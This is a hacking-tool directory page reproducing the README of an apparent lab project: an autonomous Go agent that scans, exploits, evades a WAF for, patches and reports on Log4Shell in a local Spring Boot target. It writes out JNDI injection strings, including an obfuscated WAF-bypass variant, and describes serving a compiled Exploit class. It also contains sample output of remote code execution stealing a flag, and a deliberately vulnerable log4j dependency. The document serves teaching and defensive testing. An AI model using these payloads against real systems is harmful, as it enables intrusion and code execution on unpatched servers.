Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4ShellAuditor — Un agent Go autonome et réflexif pour l'audit de sécurité de bout en bout, le contournement de WAF, la vérification LDAP hors bande (OOB), l'auto-remédiation (correctifs automatiques) et les rapports de conformité pour CVE-2021-44228 (Log4Shell). | Kitploit
Outils/GitHubGitHub/c00ln3t/log4shellauditor
Scanners de VulnérabilitésGénération de PayloadsScan de PortsExploitationExploitation d'Applications WebContournement de WAFTests d'IntrusionDevSecOpsLabs et Pratique
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

Un agent Go autonome et réflexif pour l'audit de sécurité de bout en bout, le contournement de WAF, la vérification LDAP hors bande (OOB), l'auto-remédiation (correctifs automatiques) et les rapports de conformité pour CVE-2021-44228 (Log4Shell).

19il y a 23 joursPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

AUTO AUDIT Banner

🤖 AUTO AUDIT

Banc de démonstration isolé d'un agent exécuteur réflexif autonome (Go/Java)

Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦

Go Version Java Version Maven

License
Views
Clones

🧭 Informations générales

[!NOTE] AUTO AUDIT est un ensemble logiciel démontrant un cycle fermé 100 % autonome (Sense-Think-Act) de détection, de vérification, d'exploitation, de correction automatique (Self-Healing / Auto-Remediation) et de reporting de conformité pour la vulnérabilité critique Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).

Le banc déploie une application web locale basée sur Java Spring Boot, un LDAP TCP Callback Listener intégré et le noyau cognitif de l'agent Go, qui prend des décisions dans des conditions d'observabilité partielle de l'environnement externe (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

root@kitploit:~
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end
root@kitploit:~
---

## 🛠️ Architecture technique et composants

La structure logicielle de l'agent est conçue selon les principes de l'architecture propre (*Hexagonal Architecture / Ports and Adapters*), SOLID et TDD :

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Point d'entrée. Gère le cycle de vie des processus en arrière-plan et coordonne le lancement de la goroutine de l'agent.
* 📂 **`internal/`** — Logique métier principale du circuit cognitif :
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Circuit cognitif. Implémente la boucle de contrôle et la règle de décision de sélection de stratégie `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Base de connaissances thread-safe (`KnowledgeBase` / LTM) fondée sur `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — Interface `Tool` pour les effecteurs.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registre des effecteurs (outils) polymorphes :
    * 🔍 `ToolPortScanner` — Reconnaissance du périmètre réseau.
    * 🌐 `ToolDiscovery` — Recherche de points d'articulation et de vecteurs d'entrée (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Synthèse du vecteur de signature JNDI.
    * 🚀 `ToolProber` — Vérification de la vulnérabilité par traçage hors bande (Out-of-Band).
    * 🛡️ `ToolSemanticFuzzer` — Contournement des classifieurs de filtrage (WAF Evasion) à l'aide de mutations syntaxiques imbriquées.
    * 🩹 `ToolRemediator` — Correction automatique (Self-Healing).
    * 📄 `ToolReporter` — Génération du rapport conformément à ГОСТ Р 56939-2016.
* 📂 **`pkg/`** — Paquets et bibliothèques utilitaires :
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Écouteurs hors bande (LDAP et HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Gestion du cycle de vie et du redémarrage de la cible Java locale.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Fichiers de configuration pour le déploiement (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Application de test Java Spring Boot vulnérable.


---

## 🎯 Appareil mathématique et spécification du cycle cognitif (Think-Act Loop)

La prise de décision de l'agent est formalisée comme un **processus de décision markovien partiellement observable (POMDP)**, décrit par le tuple $\langle S, A, T, R, \Omega, O, \gamma \rangle$ :
* $S$ — espace discret des états cachés de l'environnement cible (disponibilité du port, présence de paramètres vulnérables, activité du WAF, fait de compromission, statut du correctif, présence du rapport de conformité).
* $A$ — espace des actions des effecteurs (appels d'outils : `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — espace des observations (réponses HTTP reçues, callbacks TCP OOB, enregistrements du système de fichiers).
* $O(o \mid s', a)$ — fonction d'observation déterminant la probabilité d'obtenir une réponse $o \in \Omega$.

### 1. Vecteur de confiance (Belief State)
L'agent ne dispose pas d'information directe sur l'état caché de l'environnement $s \in S$ et opère avec un vecteur de confiance $b(s)$ — une distribution de probabilité sur $S$, stockée et mise à jour dynamiquement dans la mémoire `KnowledgeBase` :
* $b(S_{recon}) \in \{0, 1\}$ — état de la reconnaissance réseau (port ouvert/fermé). Se reflète dans `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mappage des vecteurs d'entrée (paramètres trouvés ou non). Se reflète dans `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — disponibilité de la signature d'exploit. Se reflète dans `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — statut de compromission (présence de Loot/Flag). Se reflète dans `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fait de la localisation de la vulnérabilité. Se reflète dans `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — vérification de l'absence d'un nouveau déclenchement OOB. Se reflète dans `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — génération du rapport réglementé. Se reflète dans `ReportGenerated`.

### 2. Fonction de règle de décision (Policy Mapping)
La fonction de décision `Think()` implémente la règle de décision déterministe $\pi: B \to A$, qui mappe séquentiellement l'état de confiance accumulé $b$ vers l'action d'effecteur optimale $a \in A$.

### 3. Apprentissage adaptatif et évaluation de l'efficacité des outils
Pour chaque outil $a \in A$, la mémoire `ToolStats` accumule des statistiques et calcule un indicateur d'utilité (Efficiency Score) :

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

L'agent utilise ces indicateurs pour modifier dynamiquement la trajectoire : si la sonde primaire `prober` échoue ($\text{EfficiencyScore}(\text{prober}) = 0$), l'agent identifie la présence d'un filtrage sur le nœud cible (WAF), active la stratégie de compensation de contournement du WAF à l'aide de l'outil `semantic_fuzzer` et exécute la mutation du vecteur d'injection.

### Scénario pas à pas du fonctionnement du banc d'essai :

| Étape | Outil sélectionné | Action et physique du processus | Modification du Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Vérification du socket TCP de l'hôte `:8080`. | Port HTTP ouvert du service web détecté ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Exécution de la requête GET, analyse du DOM et des en-têtes. | Vecteur d'entrée identifié : en-tête `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Synthèse du vecteur d'exploit de base. | La base de données est enrichie de la chaîne `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Attaque primaire. L'agent envoie la charge utile. | Tentative bloquée par le WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Obscurcissement de la signature via des lookups imbriqués. | Signature mutée générée ($b(S_{payload}) = 1$, contournement du WAF). |
| **6** | `prober` | Attaque avec le vecteur obscurci. | L'écouteur LDAP intégré enregistre la connexion TCP entrante. Fait de RCE révélé ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Correction automatique. Écriture du drapeau dans `remediation.properties` et redémarrage de la JVM. | Le processus Spring Boot est redémarré avec le drapeau `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Vérification (nouvelle requête de sondage). | Attente d'une connexion OOB sur le port `1389`. Aucune connexion $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Génération du rapport markdown. | Document `reports/cve_2021_44228_report.md` généré ($b(S_{report}) = 1$). |
| **10**| `stop` | Terminaison. | Fin de l'exécution. |

## 📊 Organigrammes des algorithmes

### 1. Algorithme général de fonctionnement de l'agent (Sense-Think-Act Loop)
Ce schéma décrit le cycle de vie continu du fonctionnement de l'agent : du lancement et de l'initialisation de la base de connaissances jusqu'à la fin de la session d'audit.```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

2. Algorithme du noyau cognitif de prise de décision (Think)

Ce schéma décrit en détail la logique de sélection de l’étape suivante sur la base du vecteur de confiance actuellement accumulé (Belief State) au sein de la fonction Think() :```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

root@kitploit:~
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd
root@kitploit:~
## 📦 Spécification de l'application Java vulnérable

L'application cible dans le répertoire `test/vulnerable-app/` est un service REST minimal basé sur **Spring Boot 2.7.18** avec des versions intentionnellement abaissées des bibliothèques **Apache Log4j2** :```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

Le contrôleur vulnérable enregistre les en-têtes HTTP entrants sans nettoyage préalable :```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);

root@kitploit:~
Lorsqu'une chaîne de la forme `\${jndi:ldap://...\}` est reçue, le logger déclenche la résolution de l'adresse JNDI, en envoyant une requête via le protocole LDAP sur le port `1389`.

---

## 🚀 Instructions de lancement

La plateforme de démonstration prend en charge deux modes de déploiement : un lancement local directement sur le système hôte (Option A) ou un lancement entièrement conteneurisé dans un environnement réseau isolé via Docker Compose (Option B).

### Option A. Lancement local sur le système hôte

#### Prérequis
* **JDK 17+** (vérifiez via `java -version`)
* **Maven 3.8+** (vérifiez via `mvn -version`)
* **Go 1.21+** (vérifiez via `go version`)

#### 1. Compilation du microservice Java
Compilez la cible Java en un artefact JAR épais :```bash
cd test/vulnerable-app
mvn clean package
cd ../..

Vérifiez que le fichier vulnerable-app-simple-1.0.0.jar a bien été créé dans le répertoire test/vulnerable-app/target/.

2. Compilation du payload d'exploit

Compilez la classe Java Exploit qui sera servie par le serveur HTTP :```bash javac internal/payload/Exploit.java

root@kitploit:~
#### 3. Compilation et lancement du banc de démonstration
Exécution en mode d'interprétation Go à la volée :```bash
go run ./cmd/agent

Ou compilez en un binaire exécutable :```bash go build -o test_agent ./cmd/agent ./test_agent

root@kitploit:~
---

### Variante B. Lancement dans un environnement Docker isolé (Docker Compose)

> [!TIP]
> Cette variante ne nécessite pas d'installer Go, Java ou Maven sur votre système hôte. Tout l'environnement est construit et orchestré automatiquement dans un réseau virtuel isolé `172.20.0.0/16`.


#### Prérequis
* **Docker** installé ainsi que le plugin **Docker Compose** (vérifiez avec `docker compose version`).

#### 1. Lancement du banc d'essai
Exécutez la construction des images et le démarrage des conteneurs avec une seule commande depuis le répertoire racine du projet :```bash
docker compose -f deployments/docker-compose.yml up --build

2. Description des processus dans les conteneurs :

  • vulnerable-app compile automatiquement l'application Java Spring Boot, écrit le drapeau secret dans le répertoire privé /var/lib/secret/flag.txt et lance le serveur web sur le port :8080.
  • reflective-agent compile le code Go de l'agent, compile le payload Java Exploit.java, met en place les serveurs OOB et lance le cycle cognitif.
  • Le dossier local reports/ sur le système hôte est monté dans le conteneur de l'agent — le rapport GOST généré à la fin du travail sera automatiquement enregistré dans votre répertoire reports/cve_2021_44228_report.md.

3. Arrêt de l'environnement de test

Pour terminer la simulation et supprimer les ressources réseau, exécutez :```bash docker compose -f deployments/docker-compose.yml down

root@kitploit:~
---

## 📊 Exemple de sortie console```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

📜 Protection de l'information et conformité

Le rapport généré par l'agent dans le fichier reports/cve_2021_44228_report.md prend en compte les normes russes clés en matière de sécurité de l'information :

  • ГОСТ Р 56939-2016 — Développement de logiciels sécurisés.
  • ФЗ-152 — Exigences relatives à la protection des données personnelles (ПДн) lors de la détection de capacités non déclarées.
  • ФЗ-187 — Assurer la résilience des objets d'infrastructure d'information critique (КИИ РФ).

🛡️ Licence

Ce projet est distribué sous la licence MIT. Détails dans le fichier LICENSE.


Télécharger l’outil